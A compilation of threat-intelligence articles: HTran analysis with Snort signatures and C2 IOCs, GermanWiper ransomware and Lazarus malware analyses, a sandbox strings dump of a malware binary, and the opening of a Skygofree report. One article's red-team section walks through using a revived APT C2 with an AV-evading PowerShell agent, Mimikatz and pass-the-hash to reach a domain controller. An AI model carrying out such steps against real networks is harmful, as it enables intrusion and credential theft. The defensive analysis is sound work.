Instances of HTran on multiple hosts could theoretically be chained together in order to add extra layers of obfuscation. However, in case of the final endpoint C2 being unavailable for any reason, the last link in the HTran chain will still pass its connection failure message up the chain, rendering all of the other layers of obfuscation useless. This tiny bit of error debugging code left in by the author can be quite useful if one wants to track HTran-bounced hacking activity to its source.
## HTran Survey
Armed with the knowledge of HTran's transient error message formatting, Dell SecureWorks CTU was able to locate TCP packet captures containing HTran connection errors in response to traffic from other APT-related malware that had been previously executed in our sandnet. The following Snort signatures can be used by other organizations to search for HTran connection error messages in transit on their networks:
```
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"HTran Connection Redirect Failure Message"; flow:established, from_server; dsize:<80; content:"|5b|SERVER|5d|connection|20|to|20|"; depth:22; sid:1111111111;)
alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"HTran Connection Redirect Failure Message (Unicode)"; flow:established, from_server; dsize:<160; content:"|5b00|S|00|E|00|R|00|V|00|E|00|R|005d00|c|00|o|00|n|00|n|00|e|00|c|00|t|00|i|00|o|00|n|002000|t|00|o|002000|"; depth:44; sid:1111111112;)
```
In addition to locating historical packet captures containing evidence of HTran connection failures, Dell SecureWorks CTU implemented a scanning system which checks for the HTran error message in responses from active probing of more than a thousand IP addresses known to be associated with APT trojan activity currently or in the past. The results of this survey can be seen in the following table:
| Associated Hostnames | Host-Related Malware Hashes | Hidden Destination IP/Port |
|-------------------------------------|-------------------------------------|------------------------------------|
| 12.38.236.41:443 | epod.businessconsults.net | 112.65.87.58:443 |
| | hapyy2010.lflinkup.net | 58.247.25.108:443 |
| | info.businessconsults.net | 51744d77fc8f874934d2715656e1a2df |
| | pop.businessconsults.net | |
| | ssa.businessconsults.net | |
| | sys.businessconsults.net | |
| 173.244.209.196:443 | bbs.india-videoer.com | 123.120.102.251:443 |
| | itiupdated.dyndns.info | 855cea7939936e86016a0aedee1d2c24 |
| | news.india-videoer.com | |
| | www.india-videoer.com | |
| 204.45.228.140:80 | create301.dyndns.info | 123.120.106.136:8080 |
| 204.45.228.140:443 | | 123.120.117.98:9000 |
| | | 123.120.126.73:8080 |
| | | 123.120.127.146:9000 |
| 207.225.36.69:443 | leets.hugesoft.org | 58.247.240.91:80 |
| | rouji.freespirit.acmetoy.com | |
| | slnoa.newsonet.net | |
| | sos.businessconsults.net | |
| | trb.arrowservice.net | |
| | ug-aa.hugesoft.org | |
| | www.optimizon.com | |
| 212.125.200.197:443 | inter.earthsolution.org | 223.167.5.10:8000 |
| | quick.earthsolution.org | 223.167.5.250:8000 |
| | | 223.167.5.254:8000 |
| 212.125.200.204:443 | bah001.blackcake.net | 112.64.214.174:443 |
| | caci2.infosupports.com | |
| | doa.bigdepression.net | |
| | lucy2.businessconsults.net | |
| | lucy2.infosupports.com | |
| | lucy.blackcake.net | |
| | lucy.businessconsults.net | |
| | mantech.blackcake.net | |
| | news.businessconsults.net | |
| | qiao1.bigdepression.net | |
| | qiao2.bigdepression.net | |
| | qiao3.bigdepression.net | |
| | qiao4.bigdepression.net | |
| | qiao5.bigdepression.net | |
| | qiao6.bigdepression.net | |
| | sports.businessconsults.net | |
| | srs.infosupports.com | |
| 220.110.70.51:443 | nsweb.hostent.org | 125.215.189.114:40781 |
| 60.249.150.162:443 | argentinia.faqserv.com | 121.229.201.158:10009 |
| | epaserver.toythieves.com | 121.229.201.238:10009 |
| | mailserver.instanthq.com | |
| | mailserver.sendsmtp.com | |
| | moiserver.myftp.info | |
| | mosfdns.ddns.ms | |
| | office.lflink.com | |
| | san.www1.biz | |
| | seoulsummit.ddns.ms | |
| | songs.longmusic.com | |
| | sysinfo.mynumber.org | |
| | timeforbeat.ns01.us | |
| | www.cpear.ddns.us | |
| | yahoo2.epac.to | |
| 64.255.101.100 | aar.bigdepression.net | 112.64.213.249:443 |
| | conn.gxdet.com | |
| | db.billten.net | |
| | ddbb.gxdet.com | |
| | info.billten.net | |
| | info.dcfrr.com | |
| | info.helpngr.net | |
| | info.new-soho.com | |
| | info.scitence.net | |
| | mail.new-soho.com | |
| | mailsrv.scitence.net | |
| | news.billten.net | |
| | news.scitence.net | |
| | pop.dnsweb.org | |
| | techniq.whandjg.net | |
| | webmail.dcfrr.com | |
| | webmail.whandjg.net | |
| 68.96.31.136 | gee.safalife.com | 223.167.5.10:8000 |
| | ghma.earthsolution.org | |
| | hav.earthsolution.org | |
| | java.earthsolution.org | |
| | quiet.earthsolution.org | |
| | special.earthsolution.org | |
| | visual.earthsolution.org | |
| | vop.earthsolution.org | |
| | vope.purpledaily.com | |
| 72.167.34.54:443 | catalog.earthsolution.org | 58.247.27.232:443 |
| | ou2.infosupports.com | |
| | ou3.infosupports.com | |
| | ou7.infosupports.com | |
| | www2.wikaba.com | |
| | yang1.infosupports.com | |
| | yang2.infosupports.com | |
The hostnames in the table were gathered using passive DNS records showing that at one point in time they pointed to the IP address in question. The hostnames may currently be pointed at different IP addresses than shown, as they are rotated frequently. The domains involved are all known to be connected to a variety of different Advanced Persistent Threat (APT) trojans. In cases where a related sample has been analyzed by Dell SecureWorks CTU, the MD5 hash of the sample is provided.
The survey of HTran traffic shows a clear pattern that can be seen by analyzing the Autonomous System Number (ASN) owner of each hidden IP address:
```
17621 | 112.64.213.249 | CNCGROUP-SH China Unicom Shanghai network
17621 | 112.64.214.174 | CNCGROUP-SH China Unicom Shanghai network
17621 | 112.65.87.58 | CNCGROUP-SH China Unicom Shanghai network
4134 | 121.229.201.158 | CHINANET-BACKBONE No.31, Jin-rong Street
4134 | 121.229.201.238 | CHINANET-BACKBONE No.31, Jin-rong Street
4808 | 123.120.106.136 | CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network
4808 | 123.120.117.98 | CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network
4808 | 123.120.126.73 | CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network
4808 | 123.120.127.146 | CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network
4515 | 125.215.189.114 | ERX-STAR PCCW IMSBiz
60055 | 223.167.5.10 | CNCGROUP-SH China Unicom Shanghai network
60055 | 223.167.5.250 | CNCGROUP-SH China Unicom Shanghai network
60055 | 223.167.5.254 | CNCGROUP-SH China Unicom Shanghai network
17621 | 58.247.240.91 | CNCGROUP-SH China Unicom Shanghai network
17621 | 58.247.25.108 | CNCGROUP-SH China Unicom Shanghai network
17621 | 58.247.27.232 | CNCGROUP-SH China Unicom Shanghai network
```
Every hidden IP address observed in the HTran error messages captured during our survey is located on just a few different networks in the People's Republic of China (PRC). In almost every case, the observable C2 is in a different country, most likely the same country in which the victim institution is located. It's not surprising that hackers using a Chinese hacking tool might be operating from IP addresses in the PRC. Most of the Chinese destination IPs belong to large ISPs, making further attribution of the hacking activity difficult or impossible without the cooperation of the PRC government.
## Conclusion
Over the past ten years, we have seen dozens of families of trojans that have been implicated in the theft of documents, email, and computer source code from governments, industry, and activists. Typically when hacking or malware traffic is reported on the Internet, the location of the source IP is not a reliable indicator of the true origin of the activity, due to the wide variety of programs designed to tunnel IP traffic through other computers. However, occasionally we get a chance to peek behind the curtain, either by advanced analysis of the traffic and/or its contents, or due to simple programmer/user error. This is one of those cases where we were lucky enough to observe a transient event that showed a deliberate attempt to hide the true origin of an APT. This particular hole in the operational security of a certain group of APT actors may soon be closed; however, it is impossible for them to erase the evidence gathered before that time. It is our hope that every institution potentially impacted by APT activity will make haste to search out signs of this activity for themselves before the window of opportunity closes.
|
# Reviving MuddyC3 Used by MuddyWater (IRAN) APT
**Ahmed Khlief**
**2020-01-13**
**Estimated Reading Time: 10 minutes**
Note: This article contains two parts, one for Blue Teams and the other for Red Teams. Go to the part you are interested in or read both if you are a purple team guy.
MuddyWater is a well-known threat actor group founded by Iran that has been active since 2017. They target groups across the Middle East and Central Asia, primarily using spear phishing emails with malicious attachments. Most recently, they were connected to a campaign in March that targeted organizations in Turkey, Pakistan, and Tajikistan.
MuddyWater attacks are characterized by the use of a slowly evolving PowerShell-based first stage backdoor we call “POWERSTATS.” Despite broad scrutiny and reports on MuddyWater attacks, the activity continues with only incremental changes to the tools and techniques.
On June 26, 2019, a group called “Green Leakers” on Telegram published screenshots of the C2 admin panel along with screenshots of the MuddyC3 C2 source code. They announced that they were selling all the leaked tools for 0.5 BTC. At that time, I got the source code from GitHub, so I tried the code to find that the core of the C2, which is the PowerShell payload, is missing (the leaker didn’t include the payload in order to sell all the tools). I didn’t have time to reverse engineer the source code and I left it. Last week, I got 3 days off from my work (working in SOC will keep you forever busy), so I started analyzing the code, which will be discussed below, and I was able to understand how it works in order to create the missing PowerShell payload and make the C2 come to life. I didn’t just revive the C2 but also added more advanced functionality, which will be released as a separate tool soon.
## Summary of the MuddyC3 Tool
- Coded with Python 2.7
- Works as a C2 server that serves a PowerShell agent script when requested
- I didn’t find any function to encrypt the traffic between the agent and the C2, but there are variables named `private_key` and `public_key`, so I suspect the functions were removed.
- Every function has its own URL: modules, commands, results, etc.
- It makes use of HTA and base64 encoded PowerShell code to bypass AV (right now AV can catch HTA).
- It uses threading so many agents can connect and be controlled at the same time.
- The agent must collect information about the system when it first starts, then report it to the C2.
- There is a template for the agent which will be filled with IP and port when the C2 runs.
- Includes functions, but not all implemented in the initial POC: upload, download, load modules, get screenshot.
- The initial PowerShell agent POC I created can bypass the AV including Kaspersky and TrendMicro.
## Analysis Part (Blue Team)
Now we dig deep into the C2 to explain how it works and how I created the agent based on the functions available in the C2:
C2 interface: simple CLI interface that asks when started for IP, Port, and proxy configuration to generate the initial payloads. It asks for IP and Port to generate the payload.
Payloads are generated based on the IP:Port. A simple command menu includes the basic commands needed to run the C2. The source code for the interface is in `muddyc3.py`, which is clear and doesn’t need explanation.
This part of the code will check if the pointer is in Main or an agent and get the command from the user, then check if the command is in the list of menu commands. It will run the menu command function defined in `cmd.py`. If the command does not match the menu commands and the pointer is in main, then it will not do anything. If the pointer is in the agent menu, then it will add the command to the agent command queue in order to be requested and executed by the agent.
The web server has a list of URLs for each module; some of the URLs will work with GET and others with POST depending on how the function is configured. Below is a summary of the functions I created an agent for:
- It starts by defining the web server listener and URLs variable that includes the URL with its module.
- For example, in the URLs variable, `/get` will run the function payload, so if we try to access this link on the MuddyC2 server, we will get the payload.
- Accessing the server with URL `/get` provides us with the payload.
- The same with `/getc`, we get the payload encoded with base52.
- `/hjf` and `/hjfs` will run these functions that include PowerShell code that runs as a PowerShell job in the background.
- `/hta` will run the `mshta` function to generate payload from `mshta.exe`.
Now I will explain the core URLs along with their code in the agent:
- `/info/(.*)` URL will run the function info, which is a register function for new agents. It expects the agent ID name to be in the URL along with machine information in the body of the POST request. The body must contain the following information separated by **:
1. OS
2. Machine IP
3. System architecture
4. Hostname
5. Domain name
6. Username
The C2 will get the information along with the agent ID and save it in an array to be used to serve commands and other implemented functions because each agent has its own commands queue.
This code from the PowerShell POC agent collects the information required by the C2 from the Windows machine, then generates a random name for the agent. Finally, it will do a POST request to URL `/info/<agent id>` with a POST request including the required information separated by **.
This URL (`/cm/(.*)`) will accept GET requests with the agent ID in order to serve the commands for this agent (from the command queue). If the agent is not registered or if the C2 goes down and an old agent reconnects, it will send `REGISTER` as a response, which will force the agent to register by sending a request to the `/info/` URL as you will see below in the agent code. It will also get the current time when the agent asks for a command to determine when the last time the agent probed to give information if the agent died or is still alive.
Now if the command is `REGISTER`, then it will contact URL `/info/<agent id>` to register and get the commands (this is very important in order to not lose the agent when the C2 is down). If the command is empty, it will wait 2 seconds before probing again for a command.
At last, the command will be executed using `Invoke-Expression`, and the output data will be encoded in base64, then uploaded to URL `/re/<agent id>`.
URL `/re/(.*)` will run the result function, which will wait for the result of the executed commands in base64, then decode it and present it to the user.
URL `/md/(.*)` will wait for a POST request that includes the agent ID in the URL and in the request body the name of the module requested. It will use the name of the module to load from the `Module/` folder in the C2 directory.
Now after we finished the analysis part of this article, I will walk you through using MuddyC3 with the POC PowerShell agent. Please note that this is just a POC and the full tool written on top of MuddyC3 will be released soon. I finished implementing many cool features, but I will wait until I add more and to be fully tested before the release.
## Using MuddyC3 to Get Domain Admin (Red Team)
I will use a simple scenario to show the usage of the MuddyC3 PowerShell agent POC.
Run the MuddyC3 using Python 2.7; it will ask you for the IP and Port that will be used to create the payloads (this will be your public IP or the IP reachable by the devices you want to hack). You can use any of the printed payloads, but the last 3 are undetectable from AVs; the others are detectable by Kaspersky.
As you can see, I am testing on Kaspersky free with no detection, but this is also applicable for the total security and enterprise edition. I also tested it on TrendMicro maximum security.
When the user clicks enable content, you will get a connection on the C2 using macro.
You can also use macros to spread the agent, which is used by MuddyWater in their operations. As you can see, we got a connection from the agent.
Using the list command, we can see the list of agents we have and the last time they contacted the C2. Using the "use" command, we move the agent prompt and we can issue commands like `pwd` and get results.
Let’s see the users in this domain to find the domain admin by using the command: `net user /DOMAIN`.
Ok, so we checked the user `ahmedkl`, and he is a domain admin. Now we will check if he had logged in to this machine.
You can load PowerShell modules by copying the modules to the `Modules/` folder in the C2 directory, then use `load <module name.ps1>` command to load it directly into the agent session. But you can see it didn’t work here because Kaspersky intercepted the data as it’s clear text (this is solved by encrypting the data in my upcoming tool).
Now that Mimikatz is loaded, we also got user `hamzag` credentials.
Now we have domain admin credentials.
Now we load `Invoke-WMIExec.ps1` to do a pass-the-hash attack using WMI.
Now in order to use `Invoke-WMIExec`, we need to encode our payload so we don’t have issues with character escaping, so we use Python (make sure to UTF-8 encode).
As you can see, the payload executed and the agent connected. Now we are in the DC.
Thank you for reading my article. You can find the MuddyC3 with `payload.ps1` (PowerShell agent POC) here: MuddyC3-Revived.
I will release my tool, which is built on top of MuddyC3, soon. Right now it includes the following features, and there is more I am working on:
- Full encryption of modules and command channel
- Get encryption key on the fly (not hard-coded)
- Take screenshots and send them encrypted to C2
- Upload files from C2
- Download files from the victim
- Staged payloads to bypass detection
- Bypasses AVs (tested on Kaspersky and TrendMicro)
- Set the beacon interval dynamically even after the agent is connected
- Dynamic URLs
- Set the configuration one time (will not ask for IP:port each time)
- Bug fixes and stable version
- Global kill switch to end campaigns
|
# TFW Ransomware is only your side hustle...
A partial analysis of the "GermanWiper" Ransomware
Today someone posted about a Ransomware attack on the local chat platform Jodel (don't judge please, as you know the sketchy corners of the web get you the best samples :D) which instantly peaked my interest. What I got was this email and the two attached files: `Applicant Name - Lebenslauf Aktuell.doc.lnk` and `Applicant Name - Arbeitszeugnisse Aktuell.doc.lnk`. These files are made to look like Microsoft Office Documents but are actually just Windows File Shortcuts and can easily be parsed with the LNK Parser @ Google Code.
The person who provided me with this data was kind enough to also include the ransom note, which is, unlike most ransomware strains out there in the wild wild cyber west, not a txt file but rather an HTML file. It includes links to bitcoin exchanges, a hardcoded wallet address, and asks for 0.15038835 BTC as a ransom. Just like the email, it is written in spotless German but without Umlauts (ä,ö,ü). A cleaned sample can be found here. Communication with the attacker's server at 173.33.106.120 (hosted at OVH) is done via a PHP script at the bottom of the ransom note. Since the server was not reachable at the time of analysis, I could not take a closer look at neither the script nor the dropped .hta file that is run via the PowerShell command in the .lnks.
The most worrying thing about this sample is the "encryption" though. Every file touched by GermanWiper is overwritten with zeros. A list of file extensions used by the wiper can be found on Pastebin. Because of this behavior, the malware was dubbed "GermanWiper" by Michael Gillespie (@Demonslay335).
A not-so-Happy Ending: Encrypted files will not be recoverable and if you are a victim, please spend your money somewhere else and not on the ransom.
## Update: A look at the dropped executable
GermanWiper available @ https://malshare.com/sample.php?action=detail&hash=36ccd442755d482900b57188ae3a89a7
sha256: 41364427dee49bf544dcff61a6899b3b7e59852435e4107931e294079a42de7c
As a first step, I like to run my samples through "Detect it easy" to get a first look at what to expect. Not a huge discovery, but it is interesting nonetheless that the executable was likely compiled with Visual Studio 2010.
Let's check the entropy of the sample to see if it is packed. Heavy obfuscation is a rare sight for ransomware, but running your executable through a packer or crypter of some sort might avoid detection through already existing signatures, and ransom campaigns often ship more than one version of their executable.
A quick test to see how much effort the attackers have put into it is to try to unpack it with UPX, but no such luck in this case. I'm not quite sure why, but the attackers set an Amazon logo as a file icon for the malware. Maybe to lure the victim into clicking on it?
With this sample, we also get to see a new domain for a control server at expandingdelegation[.]top (8.208.13.24) in the ransom note, so this sample might already be part of a second wave since it was still dropping the executable today (02.08.2019).
A couple of noteworthy events after running the sample in a virtual machine: The Ransomware runs `vssadmin.exe` to delete system restore points and shadow copies. Furthermore, this command will disable recovery options at system startup, but not without first asking the victim for their approval (how nice of them). The seemingly arbitrary process description of the GermanWiper process might be a handy string to keep in mind for identification of samples in the future. To display the ransom note after system startup, it creates two entries in the start menu and an entry to open the HTML ransom file in the msconfig autostart.
## IOCs
**Files**
`wiper.exe` --SHA1--> 8cd96603cdd2637cf5469aba8ed2b149c35ef699
`Arbeitszeugnisse - Lebenslauf - Doris Sammer.zip` --SHA1--> 058ad51c8eb86545a5424c0b021235da3bbce1c8
`Doris Sammer - Arbeitszeugnisse Aktuell.doc.lnk` --SHA1--> 2d8f89693d14b9ea7a056bced983dfc88fe76105
`Doris Sammer - Lebenslauf Aktuell.doc.lnk` --SHA1--> 77d5224fc02999b04ab79054aad23b0f6213b7eb
**Malspam Domains**
applicant.name[at]rasendmail.com
applicant.name[at]stadtmailer.com
applicant.name[at]nrwmail.com
applicant.name[at]mailplatz.com
**Dropper URLs/IPs**
173.33.106[.]120
moneymaker[.]software
expandingdelegation[.]top
**Skipped Folders and Filenames**
autorun.inf
boot.ini
bootfont.bin
bootsect.bak
desktop.ini
iconcache.db
ntldr
ntuser.dat
ntuser.dat.log
ntuser.ini
bootmgr
bootnxt
thumbs.db
Windows
recycle.bin
mozilla
google
boot
application data
appData
program files
program files (x86)
programme
programme (x86)
programdata
perflogs
intel
msocache
System Volume Information
Thanks again to @Demonslay335, @James_inthe_box, and all the other researchers who contributed to the analysis of this threat. This article has also been mentioned in this excellent ZDNet article, which is quite an honor, thanks :D
|
# Free Automated Malware Analysis Service - powered by Falcon Sandbox
Ansi based on Memory/File Scan (5d631d77401615d53f3ce3dbc2bfee5d934602dc35d488aa7cebf9b3ff1c4816.bin)
```
!This program cannot be run in DOS mode.
```
Ansi based on Hybrid Analysis (5d631d77401615d53f3ce3dbc2bfee5d934602dc35d488aa7cebf9b3ff1c4816.bin)
```
%s: illegal option -- %c
%s: invalid option -- %c
%s: option `%c%s' doesn't allow an argument
%s: option `%s' is ambiguous
%s: option `%s' requires an argument
%s: option `--%s' doesn't allow an argument
%s: option `-W %s' doesn't allow an argument
%s: option `-W %s' is ambiguous
%s: option requires an argument -- %c
%s: unrecognized option `%c%s'
%s: unrecognized option `--%s'
%s\%s
%s\Drivers\%s.sys
%s\System32
%s_%d
```
Unicode based on Hybrid Analysis (5d631d77401615d53f3ce3dbc2bfee5d934602dc35d488aa7cebf9b3ff1c4816.bin)
```
%temp%
```
Ansi based on Memory/File Scan (5d631d77401615d53f3ce3dbc2bfee5d934602dc35d488aa7cebf9b3ff1c4816.bin)
```
---Joint Unit Count:%d---
.?AVtype_info@@
.?AW4FW_ERROR_CODE@@
.rsrc
.text
0hbd@
4]wS5]w
??1type_info@@UAE@XZ
??_?_______________r__
?terminate@@YAXXZ
@.data
@echo off :loop choice /N /T 2 /D Y del "%s" if exist %1 goto loop move /-y "%s" "%s" net start "%s" del %%0
@echo off :loop choice /N /T 2 /D Y del "%s" if exist %1 goto loop sc delete "%s" del %%0
\\%s\pipe\Simple\3DPipes\Cloud\%d
\\.\%s
\\.\pipe\Simple\3DPipes\Cloud\%d
\cmd.exe
_____cu__?___
__CxxFrameHandler
__dllonexit
__getmainargs
__p___initenv
__p__commode
__p__fmode
__set_app_type
__setusermatherr
_adjust_fdiv
_beginthreadex
_controlfp
_CxxThrowException
_except_handler3
_exit
_initterm
_mbscmp
_onexit
_purecall
_stricmp
_strlwr
_strnicmp
_wcsicmp
_XcptFilter
`.rdata
```
Ansi based on Hybrid Analysis (5d631d77401615d53f3ce3dbc2bfee5d934602dc35d488aa7cebf9b3ff1c4816.bin)
```
Add Joint Unit At %d success.
Add Joint Unit Failure.
AddressFamily
AdjustTokenPrivileges
advapi32.dll
ADVAPI32.dll
aFDJMvSGBWFqFPLVQ@Fb
Allude
allude
anyName
C4QVh
CEIPEnable
Change Service Mode to user logon failure.code:%d
ChangeServiceConfig2A
Classes
CloseHandle
CloseServiceHandle
CoCreateInstance
CoInitializeEx
Comments
connect
CONNECT %s:%d HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Host: %s Proxy-Connection: Keep-Alive Pragma: no-cache
Connect to IP:%s Port:%d
ConnectNamedPipe
CopyFile Kit.exe error
CopyFileA
Corporation. All rights reserved.
CreateEventA
CreateFileA
CreateIoCompletionPort
CreateNamedPipeA
CreateProcessA
CreateServiceA
CreateThread
CreateToolhelp32Snapshot
CreateWindowExA
debug
DEFAULT
DeleteCriticalSection
DeleteFileA
DeleteService
DeregisterEventSource
Dest Network
DestroyWindow
DeviceIoControl
dFWnLGVOFaBPFmBNFb
dFWnLGVOFeJOFmBNFf[b
dFWpZPWFNgJQF@WLQZb
DispatchMessageA
DisplayString
DllExport
DSDllExport
DuplicateHandle
ecialBuild
eJMGqFPLVQ@Ff[b
eJQPW
Enabled
EnterCriticalSection
EnumProcessModules
error on free memory.
ewr:m:s:h:p:t:b:d:n:w:x:g:k:i:c:
fclose
fgetc
fMGvSGBWFqFPLVQ@Fb
fMVNqFPLVQ@FoBMDVBDFPb
fMVNsQL@FPPnLGVOFP
fopen
FormatMessageA
fprintf
fread
FreeLibrary
fseek
fwrite
GetAdaptersInfo
GetCurrentDirectoryA
GetCurrentProcess
GetCurrentThreadId
GetDllEntryUnit
getenv
GetLastError
GetModuleBaseNameA
GetModuleFileNameA
GetModuleFileNameExA
GetModuleHandleA
GetOverlappedResult
GetProcAddress
GetQueuedCompletionStatus
GetSystemDirectoryA
GetSystemTime
GetTempPathA
GetTickCount
GetVersion
GetVersionExA
GetWindowLongA
GetWindowsDirectoryA
GlobalMemoryStatus
HeapAlloc
HeapCreate
HeapDestroy
HeapFree
HTTP/1.0 200 Connection
InitializeCriticalSection
iphlpapi.dll
IsWow64Process
ivateBuild
kernel32
Kernel32
KERNEL32.dll
kernel32.dll
keymmdrv
Kit.exe
LeaveCriticalSection
LegalCopyright
lename
LessChild
LibraryPath
listen
Listen Port:%d
ListenThreadFunc. proccomm.
LoadLibraryA
LockServiceDatabase
Login: %s
LookupPrivilegeValueA
lSFMp`nBMBDFQb
lstrcatA
LvejOv
malloc
Manage Server
mangsrv
memcpy
memset
MFC42.DLL
Microsoft Engineering Service
MicrosoftEngineering
modify
MoveFileExA
MSVCRT.dll
MultiByteToWideChar
NameSpace_Callout
Next_Catalog_Entry_ID
Num_Catalog_Entries
oL@HqFPLVQ@F
oLBGqFPLVQ@F
old unit are already exist at %d and cannot add twice
old unit not exist
ole32.dll
OLEAUT32.dll
OpenProcess
OpenProcessToken
OpenServiceA
OutputDebugStringA
PackedCatalogItem
parent
Parent Server
PeekMessageA
PeekNamedPipe
pipeChild
pipeParent
pJYFLEqFPLVQ@F
Please Correct [-m %s]
Please Correct [-r %s]
Please Correct [-s %s]
Please Correct [-t %s]
Please Correct IP [-h %s]
Please Correct Port [-p %s]
Please Correct RightType [-g %s]
Please Correct TCP Connect Diff Time [-c %s]
Please Correct UDP Send Diff Time [-h %s]
Please Correct UDP-DNS-Test Port [-d %s]
Please Correct UserName Index [-i %s]
Please input [-h] RemoteIP
Please input [-m] ModifyType
Please input [-p] RemotePort
Please input [-r] RunType
Please input [-s] Socket Type
Please input [-t] dest_type
pMBSPKLW
POSIXLY_CORRECT
PostMessageA
printf
Process32First
Process32Next
ProviderId
ProviderInfo
ProxyServer
psapi.dll
qFBGsQL@FPPnFNLQZ
query
QueryServiceStatus
Read Error
ReadFile
ReadProcessMemory
RegCloseKey
RegCreateK
RegDeleteValueA
RegEnumKeyExA
RegisterServiceCtrlHandlerA
RegOpenKeyExA
RegQueryValue
RegQueryValueExA
RegSetValueExA
Remove Joint Unit %d Failure.
Remove Joint Unit %d success.
ResetEvent
ResumeThread
rint Cache Spooler
rnalName
rosoft(R) Windows(R) Operating System
s.exe
SeDebugPrivilege
self.bat
Serial_Access_Num
services.exe
SetConsoleCtrlHandler
SetCurrentDirectoryA
SetEvent
SetLastError
SetNamedPipeHandleState
SetServiceStatus
setunit
SetWindowLongA
Sleep
snake
SocketID = %d %s:%d
SOCKS5
socks5
soft Corporation
Software\Microsoft\Windows\CurrentVersion\Internet Settings
sprintf
StartServiceA
StartServiceCtrlDispatcherA
STATIC
StoresServiceClassInfo
strcat
strchr
strcmp
strcpy
StringFileInfo
strlen
strncmp
strncpy
strstr
strtok
Sub Server
|
# 攻撃グループLazarusがネットワーク侵入後に使用するマルウェア
## 概要
攻撃グループLazarus(Hidden Cobraとも言われる)の活動が確認され、ネットワーク侵入時と侵入後に異なるマルウェアが使用されていました。今回は、侵入後に使用されたマルウェアの1つについて詳細を紹介します。
## マルウェアの概要
このマルウェアは、モジュールをダウンロードして実行するもので、C:\Windows\System32\などのフォルダに拡張子drvとして保存され、サービスとして起動していました。コードはVMProtectで難読化されており、ファイルの後半に不要なデータを追加することでファイルサイズが150Mほどになっていました。
## 設定情報
マルウェアの設定情報(サイズ: 0x6DE)は、レジストリエントリに暗号化して保存され、実行時に読み込まれます。確認した設定情報の保存先は以下の通りです。
- Key: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\eventlog\Application
- Value: Emulate
## 文字列の難読化
マルウェア内の文字列はすべてAES128で暗号化されています。暗号化に使用するキーは検体内に固定文字列で指定されています。Windows API名もAESで暗号化されており、API文字列の復号後にLoadLibraryおよびGetProcAddressで呼び出すAPIのアドレス解決を行っています。
## C2サーバーとの通信
以下は、マルウェアが初めに送信するHTTP POSTリクエストの例です。
```
POST /[Path] HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Cookie: token=[ランダムな値(4桁)][認証キー(4桁)][通信回数]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Length: [Size]
Host: [Server]
[param]=[Base64 data]
```
POSTデータのパラメーター([param])は以下からランダムに選択されます。
`tname;blogdata;content;thesis;method;bbs;level;maincode;tab;idx;tb;isbn;entry;doc;cate`
POSTデータの値は以下の形式のデータをBase64エンコードしたものとなります。
`[デフォルトAES Key]@[ユニークID]`
このリクエストのレスポンスとして、サーバーからCookieに含まれていた「認証キー(4桁)」と同じ値(Base64エンコードされている)が返ってきた場合、マルウェアは次の通信を行います。
2回目以降の通信では、マルウェアは以下のHTTP POSTリクエストを送信します。
```
POST /[Path] HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Length: [Size]
Host: [Server]
Cookie: token=[数字]; JSESSIONID=[Session ID]
[param]=[Data1 (Base64 + AES)][Data2 (Base64 + AES)]
```
## ダウンロードされたモジュール
モジュールのダウンロードに成功した以降は、モジュールがC2からの命令受信などメインの挙動を行います。ダウンロードされたモジュールはUPXで暗号化されていました。
通信は前述した内容とほぼ同じフォーマットで行われます。このモジュールは多機能で以下の機能があることが確認されています。
- ファイル関連(ファイルの一覧取得、削除、コピー、作成時間変更)
- プロセス関連(プロセス一覧取得、実行、停止)
- ファイルアップロード、ダウンロード
- 任意のディレクトリをZIP化してアップロード
- 任意のシェルコマンド実行
- ディスク情報取得
- システム時刻の変更
## 感染拡大手法
このマルウェアのネットワーク内での横展開には、SMBMapというSMB経由でリモートホストにアクセスするPythonツールを使用していました。攻撃者は、事前に取得したアカウント情報をもとに、このマルウェアを横展開していました。
## おわりに
攻撃グループLazarusの活動については、様々な組織からレポートが公開されており、多数の国で攻撃活動が確認されています。日本でも、今後同様の攻撃が引き続き発生する可能性があるため注意が必要です。
|
# Skygofree: Following in the footsteps of HackingTeam
**Authors**
Nikita Buchka
Alexey Firsh
At the beginning of October 2017, we discovered new Android spyware with several features previously unseen in the wild. In the course of further research, we found a number of related samples that point to a long-term development process. We believe the initial versions of this malware were created at least three years ago – at the end of 2014. Since then, the implant’s functionality has been improving and remarkable new features implemented, such as the ability to record audio surroundings via the microphone when an infected device is in a specified location; the stealing of WhatsApp messages via Accessibility Services; and the ability to connect an infected device to Wi-Fi networks controlled by cybercriminals.
We observed many web landing pages that mimic the sites of mobile operators and which are used to spread the Android implants. These domains have been registered by the attackers since 2015. According to our telemetry, that was the year the distribution campaign was at its most active. The activities continue: the most recently observed domain was registered on October 31, 2017. Based on our KSN statistics, there are several infected individuals, exclusively in Italy.
Moreover, as we dived deeper into the investigation, we discovered several spyware tools for Windows that form an implant for exfiltrating sensitive data on a targeted machine. The version we found was built at the beginning of 2017, and at the moment we are not sure whether this implant has been used in the wild. We named the malware Skygofree, because we found the word in one of the domains.
## Malware Features
According to the observed samples and their signatures, early versions of this Android malware were developed by the end of 2014 and the campaign has remained active ever since. The code and functionality have changed numerous times; from simple unobfuscated malware at the beginning to sophisticated multi-stage spyware that gives attackers full remote control of the infected device. We have examined all the detected versions, including the latest one that is signed by a certificate valid from September 14, 2017.
The implant provides the ability to grab a lot of exfiltrated data, like call records, text messages, geolocation, surrounding audio, calendar events, and other memory information stored on the device. After manual launch, it shows a fake welcome notification to the user:
*Dear Customer, we’re updating your configuration and it will be ready as soon as possible.*
At the same time, it hides an icon and starts background services to hide further actions from the user.
| Service Name | Purpose |
